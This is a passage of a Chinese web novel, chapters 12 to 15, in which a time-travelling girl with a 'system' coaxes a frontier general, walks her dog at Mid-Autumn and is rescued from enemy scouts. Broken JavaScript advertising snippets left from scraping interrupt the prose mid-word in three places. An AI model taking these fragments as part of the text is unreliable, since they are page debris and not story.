秦安肆按住跃跃欲试的湛亦,像个机器人一样回答:“那是你理解错了,稍安勿躁。听我讲,谢谢。” 士兵们熄火。 秦安肆继续说:“是我们这边着急了,用词不当。总之,是误会,我们是为自己好,但同时也是为大家好,不希望大战真的来临时出现更多的伤亡。” 最后的话仿佛是说进他们心里了,他们没再反驳,沉思起来。 片刻后,有人说:“我们住在这军营有许多年了,有的老将没改朝换代之前就在这,对于他们来说,这里就跟家一样,吃饭睡觉聚会……都在这儿。突然更改,还是不妥。” 林清月笑了笑,双手叉腰:“那大家一起把家变得更好啊!” 将士们看向这个姑娘,忽然觉得……也不是不行。 “那……” “这……” “既然都是误会……” 将士们都有些动摇。 林清月左右踱步,再接再厉,继续劝说:“你们想啊,比起一场大战把家毁掉,我们先把咱家修缮得更好,若他日有人敢犯,便直接打退敌军,这样不是更好些吗?” “好像是啊……” 有人已经赞同了。 “嗯……不过谁说你们没有武力值的,你们队里那个姑娘忒能打了!” 有人还有些嘴硬。 湛亦便直言道:“那是你菜。” “好了好了!”林清月可不想好好调节的气氛再吵起来,赶紧开口制止,“总之,现下误会都说清楚了,至于要不要接受我们的意见……” 她顿了顿,看向似乎在发呆的顾寻风,再次张口想让顾寻风最终表态。 这时,门口传来另一道声音:“现在不合适。” 林清月看过去,是江奇云。 江奇云走进来,把自己的佩剑拍在桌子上,气势汹汹,就站在林清月正对面。 鬼知道他看到自己的好哥们来领罚的时候他有多惊讶。 罚是罚了,这口气他咽不下,所以来看看究竟怎么回事,这不,就听到了这些对话。 他暂且压下那口气,严肃说:“修缮军营要多久,这不用多想都能猜到吧,只怕他们会趁人之危,大举进攻。” 林清月自然不会多想这些,蹙眉嘟哝了一句:“哪有这么严重?” 江奇云憋着火反驳:“你刚抢了人家的马,揍了人家将领啊,这位大小姐。” 林清月听他这语气就不爽,虽然知道他说得有道理,但还是不甘示弱。 “那这么说,马是你拉进来的,将领你也骂了呀。我只是个弱女子我能懂什么?” 接着她看向顾寻风:“将军你说是不是啊?” 顾寻风猛回神。 见她找顾寻风求助,江奇云发笑:“将军怎么可能认同你这个蠢……” 下一秒,顾寻风几乎是下意识的,附和了一声:“林姑娘说的是。” 江奇云瞪大双眼,脑袋里缓缓冒出一个问号。 “将……将军?” 12. 笨蛋一个 江奇云一脸受伤。 谁知道为什么,明明只分别半年,将军居然不向着他们了! 偏偏对面那妖女还一脸得意。 顾寻风趁着江奇云发愣的时间,走到了林清月身边去,把她往后拉了拉询问:“你们决定修军营了?” “不是啊,现在时机不对。”林清月理直气壮,“不过我没考虑到还会有他们趁虚而入这件事……据我打听,不是和平好几年的吗?” 顾寻风沉默一会。 随后,他走到林清月刚刚站的位置,正色道:“此事重大,还有待商榷,你们先去训练吧。” 顾寻风把自己这边所有人都赶了出去,自己坐下面对着他们一群人。 “……说说吧,如果我答应你们修缮营地,你们可否给出具体方案?” 康日作为最先察觉到的人,自主开口回答:“不做亏本买卖,你不出钱,我们不想出力。” 想方案还要脑力呢。 顾寻风:“我自然知道。”这群人全都是掉钱眼里了吗? …… 当然不是。 除了林清月,其他人只是记着他先前要他们赔钱的事。 最终还是没敲定。 晚上吃完饭,几人也不想在外面多待,便集合在林清月的帐篷内商议。 秦安肆问:“所以你跟那个系统究竟说了些什么?” “你们听不见我跟系统说话?” 众人都摇头。 林清月掐着下巴思考,片刻后取下锦囊放在桌上,“我去找系统拉个群,先问问这个锦囊的事情。” “等一下。”秦安肆说,“你之前说你有计划,你有什么计划?我原先以为,你是想让他们同意修缮军营,好留在这里完成任务,但是后来那个将军没定下来,你怎么就又不说话了?” 林清月不废话,清清嗓子,准备把自己利用顾寻风来卖东西赚钱的想法讲出来。 现在他们生死都一起,她还要靠小队一起去完成任务呢。 “之前,我问过系统,他说我们要完成大传承任务,在完成各种大传承任务的过程中,还只是有概率激活最终任务,才能回去我们那里……” 林清月把系统跟她说的意思完完整整复述了一遍,然后看见他们一副心如死灰的表情,开始转折。 “当然,现在我心里已经有一套完整的方案了。” 秦安肆问:“你要利用那个将军?” “对,他……这里我就不多说了。总之,我可以保证,第一个烟火传承的任务,他,可以帮上大忙。” 仲长湫第一个同意:“都听队长的吧。” 其他人各自都怀着心思,但不管怎么说,也都是同意了下来,毕竟系统都在林清月手上,他们也只能听命才能回去。 得到了认可,林清月开始呼唤系统拉群。 很快,大家都能听到系统夹夹的声音。 【当当当,666闪亮登场!各位吃了吗~】 “……” “吃了。” “……” “……他一直都是这样吗?” 林清月:“嗯。” 懒得喷。 她已经学会忽略那些有的没的了,直接问:“这个锦囊是怎么用的?这也是你给我的吧。” 【宿主终于发!现!啦!这是666特地从宝阁里拿过来给宿主哒!】 林清月咬牙切齿:“说重点。” 系统机械地清嗓子,终于不夹了。 【你们可以叫它百宝袋,可以根据宿主所想产生对应物品。】 那就奇怪了。 ‘那……’为什么之前总出错? 话还没问完。 系统又说了—— 【但是它喜欢吃钱。】 ‘?’ 【所以,宿主如果要变出更高级的东西,需要用钱贿赂它。】 众人皆沉默。 …… 秦安肆忽而问:“那个将军有钱吗?” 林清月:“穷鬼一个。” 湛亦说:“去试试江副将?” “让秦安肆去。” “?” 林清月无语了。 打火机很高级吗?给她变个坏的。 小炸弹很高级吗?明明之前拿了那么多都没出问题,偏偏关键时候……难道是她索取太多了? 怎么会有这么有个性的金手指啊。 还有这个系统,真懒得喷,消失那么久,现在事情已成定局,军营都绑定了,才知道喂饭了。 可现在他们哪有钱啊,至于之前赚的那些…… 林清月把钱袋拿出来看了看,“……不舍得啊。” 其余人连钱袋都懒得拿出来。谁会舍得啊,大家现在都是穷人。 “算了。”林清月把百宝袋挂回腰间,“总之我们在这里生活也是要用钱嘛,而且我又不只是利用顾寻风完成任务,我还要利用他赚钱呢。这百宝袋,若真那一天不得已了,再喂钱吧。” 秦安肆立马接话:“喂你的。” “你特么……”林清月差点一口气上不来,“等回去了你看我收不收拾你。” 秦安肆一直都是这样的,他们自从组队开始,几乎每个人都被秦安肆呛过,不过这次他说的其实不是没有踪迹可寻。 虽然这任务说是他们一起完成。 可不管是系统还是百宝袋,认的都是林清月做这个宿主,至于他们,就是附带的。 任谁都不会想牺牲点什么进去。 但林清月就是气啊。 她又不是善解人意的人。 偏偏在这里他们还得团结起来,偏偏她还是队长。 俩字。 心累。 好在玩笑话没多少,秦安肆很快把话题扯回去:“接下来你准备怎么做?” 林清月翘起二郎腿,笑着。 “我们得准备一下,去瑾县卖东西。” …… 瑾县地处偏远,是边关关隘内的一个小县城,人们大多都靠种植蔬菜为生,根据外面行商过来的人所说,这里最贵的衣裳,连旁的城市最廉价的衣裳都比不上。 这也是当初他们这一小队,集体排斥这个地方的原因。 他们几人其实家境都不差,属林清月和湛亦最好,按照这个时代的话来讲,一个文官家,一个武官家。 本来湛亦是不会来他们小队的,奈何湛亦脾气太差,家里人就希望把她送过来磨一磨。 在他们团队,湛亦算是一个帮工,干体力活、保安……当然,只是简而概之。 总之对比其他那些心眼多的,这里特指秦安肆。 林清月还是更喜欢跟湛亦相处。 至少有事人家是真能上。 上次其实也真是湛亦先动手的,大家在这个破地方都很不爽快,脾气也变得不怎么好,说话都冲,林清月不在那里没有实感,后来,是她单独去到湛亦的帐篷。 “之之,那时候究竟是怎么打起来的?”她问了一直都缩在一旁看戏的罗知之。 罗知之在他们队里存在感很低,懦弱又胆小的一个小姑娘,他们之间有什么争吵,她也从来都是安安静静缩在一旁。 也只有她能不带情绪讲出事情最完整的始末。 仲家两兄弟还好,脾气不算太差,都做惯了这些事,只是康日就不一样了,从一开始,他就想走的,只是他又不敢脱离团队。 仲长椿和那边士兵发生了一些争吵,康日进去一添油加醋,士兵们也开始放狠话。 湛亦脾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 气本就不好,这里气氛又燥,于是就先动手了。 湛亦晚上冷静下来也说:“是我的问题……”不过他们菜是真菜。 修缮军营的事情,其实林清月也拿不准,本来她想着,完成一个大传承任务,或许可以尝试着离开,只是不知道这个绑定军营,是不是说他们就不能离开了。 系统也不说。 所以,修缮军营,若是有合适的机会,还是得提上日程,只是暂且不着急。 现在要做的,就是完成这个烟火传承的任务。 于是她当天晚上问完罗知之,就去了顾寻风的帐篷。 顾寻风不会拒绝她。 毕竟…… “昨晚的事就先不提了,我也不想提。你什么时候自己想起来了再说吧。” 毕竟这人笨蛋一个。 她还可以拿捏他。 “现在最主要的是修缮军营一事……其实若将军也觉得不行,不必因为觉得亏欠我什么,才来帮我。” 顾寻风果然皱了眉,说:“这怎么能行?” 林清月笑:“我不在意的。” 笑容之余,她眼里又带上几分不明意味的落寞,但很快调节过来,说上正事,“我知道如今我们和敌军刚刚因为一匹马产生矛盾,虽然我不承认这是我的错——但的确有我一份责任吧。所以我今晚来,不是强人所难让你们非要修缮军营,你,不是想看我的小炸弹吗?” 说罢,林清月把事先就从锦囊中拿出来的小炸弹取出,放在二人面前。 “这个,给你看看。” 顾寻风越发愧疚:“你不是说……” “没关系,今日是我们的人不好,为难了你们,算是我赔礼道歉了。”林清月言辞真切。 “我、我不能收。” “只是给你看看。” 顾寻风有些轴,“你说要赔礼道歉,那这算是赔礼,但我不能收。” 在他看来,是林清月被他伤到了,又被他们误解,是受委屈的,此时还要来求全,着实是…… 太可怜了。 他绝不能要这份赔礼。 “林姑娘,你想赚钱吗?我可以帮你。”顾寻风极其认真。 林清月怔住。 呦呵,小家伙脑筋转得倒是挺快。就算记忆不在了,逻辑也还是一样的哈,还是想帮她赚钱呢。 关键是,这人一本正经的……谁懂啊,一种跟爱豆谈生意的既视感。 “……想。” 顾寻风望向那枚小炸弹,推回去,“我会光明正大买回林姑娘的东西的。” “哦?”好奇。 “瑾县县令与我家颇有渊源,姑娘若是要卖些什么,可以通过我先去见到县令,将东西卖给他,这样开店便容易许多。” 林清月眼眸微微,望向他眸中,笑着问:“你不是和你家中关系不好吗?” 顾寻风理所当然道:“他人又不知,我始终也还是顾家一员。况且,其实也不算关系不好……这些就不多说了,总之,我可以帮你,怎么样?” 左右也不过是被父亲书信几封,他不看就是了。 为了林姑娘,这都不是事儿。 …… 不对,是为了小炸弹。 林姑娘笑意吟吟,把小炸弹收了回去,说了句:“好啊。” 顾寻风被她的笑容晃了眼,有些不自在,便打着休息的名义催促她离开。 谁知道她不离开。 她问:“你今夜不会又做噩梦吧?” 顾寻风:“……?” 林清月眼中带着促狭,猛的靠近—— “要不,我陪你入睡?” “???”顾寻风瞪大了双眼。 这位小炸弹……不对,这位林姑娘在说什么?什么?? 13. 勾引将军 今日十五,天气晴好,晚上月亮挂在半空,薄薄的月光洒满了整个军营。 虽说他们地处偏远,但这种节日还是会过的。 虽然白日都过得不痛快,也不妨碍晚上凑一起玩。他们都热闹得很,秦安肆几人被吵得睡不着,这才知道今日竟然是中秋。 “喂!你们要不要来玩?”江奇云不会放弃这个碾压他们的好机会,“今日中秋佳节,我们也不为难,打又打不过,划拳总会吧?” 秦安肆嗤之以鼻:“不玩,俗气。” 江奇云回以一声冷哼。 他们这地方确实不比苏周城,听他们从南方过来的士兵说,他们那边中秋佳节可是有大饼子吃,还有什么燃灯助月的习俗,反正他不羡慕。 他在这边关隘从小待到大,也只有正事才会去一下京城,他觉得这儿挺好的。 “来啊,难不成你们苏周城的人,真的连划拳都不会?” “谁中秋玩这个?”秦安肆吐槽。 “我啊。” “……” 不过湛亦倒是玩得不亦乐乎,还拉着并不想热闹的罗知之。 既来之则安之——湛亦这么说。 那兄弟俩也都是自来熟的,不一会也扎堆玩去了,白日里的不快,此刻全都抛了出去。 而康日,早就不放心的去找修军营的人了,似乎还想改变些什么。 秦安肆找了个位置坐着烤火。 ……有点热。 他们气氛太火热了。 他环顾四周,皆是灯光火色,人声嘈杂,他的队友们混迹在其中吃喝玩乐,不亦乐乎。 看了会,他微微阖眸,随即起身要离去。 然而江奇云喊住他。 “那个谁,小白脸!” ? 秦安肆往江奇云那边看了眼,指了指自己,对方点头,“就你。” 确认是在喊自己后,他眉头一抽,他很不爽,语气并不友好。 “有事?” 江奇云冷笑一声,咽下一口酒:“你们那个领头的大小姐呢?把她叫来,一起玩呀。” 江奇云坐在折下来的粗树干上,手中拎着一壶酒,此时是背对着他,一只手撑在树干上,微微转头看他。 吊儿郎当的。 秦安肆想,他这辈子都不可能跟这群人玩到一起。 他淡漠回了句:“她啊,在你们将军帐篷里。” 然后没管他,扭头就走了。 …… 顾寻风不知道面前这位林姑娘究竟是怎么想的,外面有些吵闹,但他觉得自己的心像是要跳出来一样,他都能听到自己的心跳声。 “你太大胆了,你不能这样。”顾寻风认真望着对方,“我知道昨夜或许我说了些什么,让姑娘误会了,我现在讲清楚可以吗?我确实对姑娘没有其他的非分之想……” 可他越是这么认真,林清月越想逗他。 林清月委屈问:“我不漂亮吗?” “……不是。” “我脾气不好吗?” “……” “你喜欢脾气好的?” “……” 林清月不断靠近,而顾寻风故作镇定坐着,他深吸口气,对上对方那刻意勾人的眼眸,如他所说,他确实没有其他的心思,他只是觉得她长得好看而已。 他怎么会就因为她长得好看,就对她产生什么想法,流氓才会这样。 于是他理清了思绪,坦然说:“这样对姑娘并不好。况且,因为我自己的原因,已经让姑娘伤心了一次,这次我不能再让姑娘误会了什么。” “你快回去睡觉吧,或者,今日是中秋,去外面玩一玩。” “至于去见县令的事,我自会帮姑娘安排好,就等姑娘何时能准备好拿过去的东西了。” 其实他也确实是好奇,她究竟还能拿出什么样的稀奇东西。 在他认认真真说的时候,林清月就已经觉得没意思了,起身把凳子挪到对方身边去,侧身撑着下巴听他说。 等他说完了,才缓缓开口:“那你以后若是再做噩梦,就别再来找我了。” 顾寻风愣了愣:“啊。” 本来就不会找她啊,为什么要找她?真是不知道这姑娘的逻辑。 林清月幽怨地盯着他,提醒:“你那天晚上还问我,以后做噩梦了能不能再来找我的。” “我怎么可能……” “呵。” 顾寻风第一反应是不信,但看着对方实在委屈的眼眸,心跳顿时都不稳了,他……他心慌。 死脑快想啊,你那天晚上到底还说了些什么呀!! 林清月一副要哭出来的样子。 少女一只手撑着下巴,几捋扎不住的碎发垂在脸庞,像是因为失落而耷拉下来的耳朵,她满脸忧愁,叹着气:“算了,终归是我误会了。” 这家伙一再强调自己没有别的意思,林清月当然知道,就是因为没有别的意思,所以这个能绑住他的筹码才绝对不能掉。 只要她表现得够可怜,他就会越心慌,这个筹码就更重。 不出所料。 “……好吧,那我得说话算话。”顾寻风嗫嚅,眼神也不再敢看她了,“不过我不常做噩梦的……” “我知道,你也说过了。” 顾寻风:“……” 沉默片刻后,顾寻风再次转移话题:“县令的事你放心就好,我家中……” 话还没说完,林姑娘的声音又传来:“世代是文官,只你一个非要做将军的。” 顾寻风:“。” 要不他还是闭嘴吧。 他这才想起,刚才林姑娘还都表现出知道他和他家中关系不好了,他却都没有反应过来。 所幸林姑娘没有计较,摆摆手,“没关系,我已经习惯了。” 她笑笑:“将军,今日外头好生热闹,你不出去玩一玩吗?” 顾寻风答:“我想睡觉。” 林清月咂咂嘴,摇头:“睡觉有什么好的?搞不好又做噩梦了。” 说完,她便抓住顾寻风的手腕要往外跑。 顾寻风坐得稳稳当当,没被她拉动。 “我不去。” “去嘛去嘛。”林清月的语气习惯性跟撒娇一样,“去嘛,将军。” 这样说着,力道也不松,但也只是把对方手臂拉直了,身体仍旧稳稳坐着,她不服输,怎么都不松手。 但顾寻风怎么想得到她拉的那么紧? 他把手甩了一下往回抽,以为林姑娘就会放弃了,但林姑娘哪怕被拉了回来都不松手。 彼时,外头传来江奇云的声音:“将军将军,一起来喝酒吧——” 门帘被掀开的时候。 林清月刚因为不服输不松手,而被拉到了顾寻风身旁,为了保持住身体平衡,手环在了对方脖子上。 …… …… “妖——”江奇云脸色大变。 从他那个角度去看,分明就是这妖女主动勾引他们将军! 而林清月急中生智,一转身坐到了顾寻风大腿上,本来手就环在他脖子上,这下顺理成章,就这么把头埋在了他肩颈,惊慌似的喊了一声:“将军!” 正好打断了江奇云那一声妖女。 顾寻风的手没敢乱碰,谁也没想到江奇云这时候来了。 “你!你果然……” “出去。”顾寻风只能先顺着林清月演下去,又怕演太过,在江奇云要继续控诉的时候开口:“你先出去吧,我一会就来。” “将军——” “出去。” “……” 江奇云愤愤离去。 帐篷内陷入了寂静。 顾寻风双手不知道该怎么放,堪堪悬在她身后。 正酝酿着怎么开口,耳边有声音轻轻响起,温热的呼吸都喷洒在他耳廓。 “走了?” “走了。” 林清月松口气,若无其事般站起来解释:“紧急情况……不过倒是没想到,你居然配合我。” 顾寻风哽了一下,无奈说:“你做都做了,我还怎么办。” 林清月坐回去,撑着双臂看他,笑音满满:“那你还要睡觉吗?” 这还怎么睡…… 顾寻风在心里叹气,他站了起来,说:“走吧,他们正热闹着,总之你也要在这儿待着,去玩玩也好。” “好啊。”林清月蹦蹦跶跶跟在他身边。 二人走出帐篷,江奇云就在不远处,眼神像是要刀了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她。 林清月才不敢再跟顾寻风走一起了,总之顾寻风已经答应会帮她引荐的,她也没必要一直缠着人家了。 离开后,林清月去找湛亦他们,想问问康日在哪,结果被拉着玩了半个时辰的划拳。末了,她抓着罗知之,才问了出来:“他去跟瑾县那个来修军营的人谈事情了。” 林清月伸着脖子看了一圈,又问:“秦安肆也去了?” 罗知之顿了顿,似乎是才发现秦安肆不在,她摇摇头:“不知道呀。” 秉承着“团结就是力量”的理念,身为队长,林清月准备去把这两人拉过来一起玩。 刚走出一步,忽然看见康日和瑾县居民并排走了过来,相谈甚欢。 想了想,林清月直接跑去秦安肆的帐篷。 “秦——安——肆——” 她边跑边喊,声音在外面嘈杂的环境内并不大,但对于秦安肆来说,已经是他不能接受的程度了。 秦安肆额角跳了几下,走到帐篷门口掀开帘子,映入眼帘的就是林清月笑嘻嘻的脸。 “你干什么?” 林清月踮脚朝他帐篷内望,反问:“你在干什么啊?” 秦安肆按着她脑袋把她往后转,语速极快:“我要睡觉了不出去玩拜拜。” 林清月抓着他手腕,把他的手从自己脑袋上拿开,转了回去面对着他,另一只手迅速从百宝袋中掏出了一个月饼,月饼塞到他怀里,言笑晏晏:“秦安肆,我要去溜小哈,你帮我发一下月饼呗。” 秦安肆啧一声,不耐烦:“有病啊,大晚上遛狗?” “哎呀你帮帮我嘛,外面这么吵你还睡得着?”说着,林清月已经从百宝袋中拎出了一箱月饼,把月饼放到秦安肆脚边后拍拍手:“谢啦!” 说完转身就跑。 秦安肆气得胸口胀:“林清月!我没同意!” 林清月头都不回,跑回自己帐篷的时候气喘吁吁,一边检查着小哈脖子上的绳子一边吐槽:“累死我了,一个个的怎么都这么喜欢睡觉啊?” 她抱起小哈蹭蹭。 还是小狗最好了! “走!我带你出去看月亮。” 因为小哈是只小狗,还是哈士奇,林清月把它关得很严,生怕它出去出了什么事,又或者拆了人家帐篷。 这次她也不想在里面跟那群满身臭汗的人玩,便想着把小哈带出来透透气。 林清月确认了下绳子的牢固性,拉着小哈出帐篷,风吹得帐篷的窗口动了动,她没太在意。 许是许久没出来过了,小哈异常兴奋,林清月一个懒腰还没伸完就被拖着跑。 小哈这边闻一下撒个尿,那边看一下咬咬咬,林清月也不明白怎么一只小狗力气那么大,她也没有遛狗的经验,被拉着到处走。 看到他们到了没什么人的地方,旁边建筑还被炸得没修好,林清月使劲一拉,制止住小哈继续往前走的动作。 “走啦,我们换个地方。” 小哈却怎么都不肯,拽着林清月往破烂的城墙走,城墙被他们炸破的地方还未完全修复。 “……再走就出界了啦小哈!”林清月咬牙,使劲拽。 “小哈!!” 嘣一声,绳子断裂。 林清月跌坐在地上,瞥见小哈一下就从洞里蹦出去,没了影。 她着急跟过去,有些犹豫。 这外面很危险吧,她就这样跑出去不会没命吧? 想了想,林清月从百宝袋中掏出了一个狼牙棒。 她身量小,虽然有些困难,也能钻出去,周遭漆黑,只有几丝月光,她有些害怕,轻声喊着小哈。 “你快出来啊,别到处乱跑,很危险的!我们回去玩——小哈——” 太黑了。 连路都快看不见。 但想着小哈还在外面,林清月转头想从百宝袋拿出个手电筒探路。 一掏,出来个打火机。 …… 林清月正无语。 忽然,身后传来小哈的叫声。 “小哈——”这家伙还知道找她! 她已经想好怎么训斥这调皮的小狗了。 她转身过去。 那一瞬间,刀刃闪着光,面前人的脸带着凶狠的杀意。 14. 英雄救美 “啊啊啊!!” 林清月惊叫,手中的狼牙棒胡乱挥动,运气好,挡住了对方的攻击。 可她终归不是习武的,力气也没对方大,她手中的狼牙棒很快被卸下,对方掐着她喉咙把她抵在城墙,眼看着刀又要劈下来。 林清月下意识闭了眼。 传来的却是男人的叫声,以及小狗凶狠的低吼。 “汪呜——” 林清月睁眼,看见男人高大的身躯晃了晃,伸手要去扒拉身上咬他的小狗。 林清月急中生智,趁着小哈将男人缠住,拿起掉落在地上的狼牙棒就狠狠朝男人头顶砸,砸了好几下,直到男人倒地不动。 她抱起小哈,想趁着对方晕倒了快点回去。 却不想,那边传来了几人的声音。 “他就在这边,我刚刚听见他声音了。” “快去看看吧。” “将领也真是的,一匹马而已,还要半夜犯险来……他怎么不自己来?” “好了,反正现在已经完成任务了,等会快点回去,被发现就不好了。” 遭了遭了。 好像是敌军的人? 林清月找了棵树蹲在后面,趁着他们还没过来,跟小哈说:“小哈,乖,你回去找哥哥姐姐们过来,就是平常跟我一起玩的那些人,认得吗?” 她把小哈放到地上,小哈一下就跑走了。 也不知道它听没听懂…… 敌军的脚步声越来越近,林清月把自己缩在树根的草垛后,好在她身形小,好躲藏,敌军路过时没有发现她。 此时他们正在想办法叫醒那个被敲晕的。 要是他醒了就藏不住了。 林清月一咬牙,打算慢慢挪回去。 刚起身,脑海中声音突然响起系统的声音。 【发布任务:探查清楚敌军来意】 林清月被吓得心里一颤,捏着拳头又躲回去:‘他们不是来找马的吗?!’ 系统没有回答。 ……服了。 她到底是做传承任务还是当刺客的啊?!天天给她的都是些什么危险任务。 没办法,任务已经发布,林清月只能硬着头皮继续躲,小心翼翼侧耳听着。 “怎么回事?我们被发现了?” “不应该。如果是军营里的人,现在我们就已经被包围了啊。” “……” “东西你们确定藏好了吗?” 听到这,林清月皱皱眉。 什么东西? 但敌方声音小了,听不太清,林清月动了下身子,想靠近一点。 “咔嚓——” “……” 就知道。 她就知道! 林清月来不及多想,对方五六个人,她被发现了,拔腿就跑。 可对方都是什么人啊。 是训练有素的士兵。 林清月没跑几步就被暗器打中小腿跑不了了。 此刻,恐惧大于疼痛,占满了内心。 “我只是路过!”林清月声音带着哭腔,“放过我吧,而且我也什么都没有听到……” 她怕得要死,跑又跑不了了,能怎么办?只能先求饶。 “路过?”对方嗤笑,跟同行之人讲话,“怎么办,要不直接杀了吧?” 林清月拼命往后缩,对方一步步逼近,月光照到他们手中刀刃上,反射出光亮,分明光亮微弱,林清月却觉得刺得眼睛生疼。 对方蹲下来,狠狠掐住了她的下巴,左右看看,提出意见:“长得这么好看,带回去送给元帅吧。” “好主意。” 林清月:“……”好屁啊!! 对方在调笑,趁着这个时间,她抬脚对准对方两腿之间就是一踹,忍痛爬起来往后跑。顺便丢出手中的小炸弹,小炸弹爆炸,阻挡了他们一会,她听见对方气愤的声音:“追上杀了她!” 林清月不敢停下,即使小腿的伤口很疼很疼。 在疼和死之间,她还是知道怎么选的。 就这样坚持着,眼见着已经到了洞口附近,她都有些跑不动了。 身后暗器再次飞来。 就在这时,那面墙咚一声被人劈开,小洞周围裂开,洞口变大。 林清月都没反应过来,只听见刀剑相撞的声音,然后她脚下踩到一块蹦出来的砖,跌倒在了地上。 再抬头望去。 她看见少年的背影阔大,马尾飘扬,一身红衣提剑立在她身前。 “什么人?” 顾寻风冷厉的声音传入耳中。 林清月顿时放下了心,她继而望了望四周,再没有其他人来。 只有小哈跑到她怀里蹭蹭。 她摸着小哈,小声嘟哝:“怎么把他找来了?”看来也就是只听不懂人话的莽撞小狗。 另一边,顾寻风正追着他们砍,敌方毫无还手之力。他的出剑速度极快,就林清月这个外行来看,根本看不清,只看到他唰唰唰几下,对方就拖着受伤的同伴落荒而逃。 不管怎么说,他们这边只有顾寻风一人,还有个伤员,对方人多,互相掩护着,逃跑也不难。 双拳难敌四手,更何况这都十几手了。 顾寻风没有追,而是走过来蹲在她身侧,“你……” “有事。” 林清月声音有些沙哑。 似是察觉到她腿上的伤口,顾寻风望过去,而后再次开口:“你还……” 林清月预判他,直接说:“走不动。” “……” 沉默了片刻,她又说:“抱我回去。” 顾寻风犹豫:“……我背你走。” 林清月拒绝:“不,背着不舒服。” “……” 再次陷入沉默。 过了许久,林清月深吸口气,终于忍不住问:“我朋友他们呢?” 不说其他人,秦安肆呢? 秦安肆知道她去溜狗了,看见小哈一只狗来了,没有怀疑吗? 而顾寻风在挣扎了那么一会后,似乎是妥协了,一边伸手将她抱起一边回答:“今天是中秋,大家都玩得很开心。他们有问,我说是我和你有约,没惊动他们。” 只听怀中少女轻笑一声:“那你人还怪好的呢。” 顾寻风低眸看过去,见她笑容灿灿,在怀里调整了一下子姿势,怀里的小哈的尾巴摇得停不下来似的。 调整好了,她继续调侃:“江副将没伤心?” 顾寻风顿了顿,“啊?” 他伤什么心嘛……林姑娘又是误会什么了? 林清月靠在他怀里,没有应声。她忽然想到了系统发布的任务,也没心情继续调笑。 之前分明听见他们说到马了…… 可后来又说放了什么东西? …… 忽然,林清月抓住顾寻风的衣角,着急道:“不回帐篷,我们去马厩。” 顾寻风皱眉:“怎么了?” 林清月恨不得跳下来自己走,催促他:“快去啊!我刚刚听见他们说,是他们将领为了马派他们来,听他们的语气已经完成任务了,可……马呢?” 是啊,马呢? 他们说他们的任务完成了,可他们没有牵马,那就不是来夺马的。 他们怕是来害马的。 但林清月不知道他们会怎么害马,只能催促着顾寻风往马厩赶,路上,她紧张得要命。 一路躲躲藏藏的,两人终于到了马厩,林清月让他把自己放下来,一瘸一瘸走到饲料旁——他们能放什么? 林清月第一个想到的就是下毒。 她拿百宝袋里的银针小心翼翼戳了戳,但银针没有变黑。 那会是什么…… 林清月看向赤马,走到赤马身边摸了摸它的毛发。赤马鼻子哼哧一下,甩甩脑袋。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “赤赤,刚刚有人来吗?”林清月抱着一丝期望问。 赤马又一甩脑袋。 林清月心下着急,转头去检查马厩内部,从里到外全都看了一遍,但半点异常都没发现。 “你别着急。”顾寻风只能安慰,“你先坐一下吧,我来看。” 林清月摇头:“我们刚才都看了一遍,什么都没有……怎么会这样?他们一定在这里动了什么手脚。” 顾寻风知道她是担心自己的马,于是说:“你的马,我们换个位置吧,去栓到你帐篷附近。那儿离我近,也安全。” 林清月的帐篷距离顾寻风很近,的确很安全。 可这任务一刻没完成她就觉得心慌。 她坐在了一旁,见顾寻风去检查了,自己在脑海中呼唤系统。 ‘老六老六,可以给个提示吗?’ 【我也很想给!但是规定不允许,呜呜呜,对不起宿主】 ‘……’那你说个屁。 【宿主,你要相信666,不管是什么任务,666都是为了宿主好哒!宿主你一定可以完成!】 ‘滚。’ 她就问,这任务跟她的大传承任务有什么关系?? 有什么关…… 等等。 …… “顾寻风。”林清月第一次这么认真喊这个名字,她看向顾寻风,语气也头一次这么正经,“马……就放在这。” 她扶着旁边的东西站了起来,“我们回去吧。” 顾寻风赶紧过去扶住她胳膊,问:“怎么了?” 林清月面色苍白,她感觉脑袋昏昏沉沉的,站不稳,干脆靠在了对方身上。 顾寻风顾不上其他的了,见她状态有些不对,赶忙将她打横抱起,这才意识到,她腿上的伤口还一直在流血。 “我这就带你回去。”他一时有些怪自己,竟然还让她下地,分明知道她腿上还有伤。 小哈从她怀里跳了下去,率先往帐篷跑。 顾寻风没时间管那条小狗,直直就朝着自己帐篷走去。他的帐篷内有医药箱,可以尽快为她处理伤口。 夜晚大家都玩得不亦乐乎。 顾寻风七拐八拐,静悄悄摸到了自己帐篷内,把林清月放到自己床上去,找出医药箱,说了句“冒犯”,便蹲在床边给她腿上的伤口上药。 迷迷糊糊的,林清月感觉到伤口更疼了些,她吸口气,睁开眼看过去,不自觉把腿缩了缩,“你轻点啊。” 顾寻风手一顿。 “抱歉……” 林清月看了看环境,问:“你的帐篷?” 顾寻风点头,继续上药,手上动作轻了不少。 林清月又问:“小哈呢?” 顾寻风想了想:“它刚才自己跑了,我瞧着,是回你帐篷去了。” “……” 林清月撑起身来,声音还有些虚弱,但却说:“你让我回去。” 顾寻风拒绝:“先上药。” “让我回去。”林清月想抽回腿。 见对方的动作,顾寻风一急,直接抓住了她脚踝,道:“上完药,我会送你回去。” 实际上,他上药的时候眼神都没敢离开伤口,更不敢碰到其他的皮肤,但情急之下,他内心只是想着:不能再让她就这样下地。 于是,手就那样握住了纤细白嫩的脚踝。 林姑娘仿佛并不在意,他也就没想起男女授受不亲,这样是不妥的。 “可是我担心小哈出事。”林清月试图说服他,“马厩没有问题,那整个军营便都不安全。或者将军,我想问……今天晚上我回帐篷的时候,感觉到好像起了风,是吗?” 顾寻风猛然顿住。 他抬眸,望向林清月。 随后摇头:“没起风。” 于是,林清月当即就要起身。 顾寻风站起来,按住她的肩膀,沉默片刻后道:“你别乱动,我去看看。” 15. 火药之礼 林清月有些心急,她好似猜到了对方的想法,可她又不敢确定,只是小哈那么果断回帐篷了,让她对这个猜测多了几分自信而已。 不管怎么说,她不可能就这样让顾寻风一个人去涉险的。 看着顾寻风坚持要先给自己上药,她干脆直接上手,扯过一旁的纱布就绕上自己的腿,“你若是不想军营真的出事,就听我的。” 顾寻风垂眸,没再阻止。 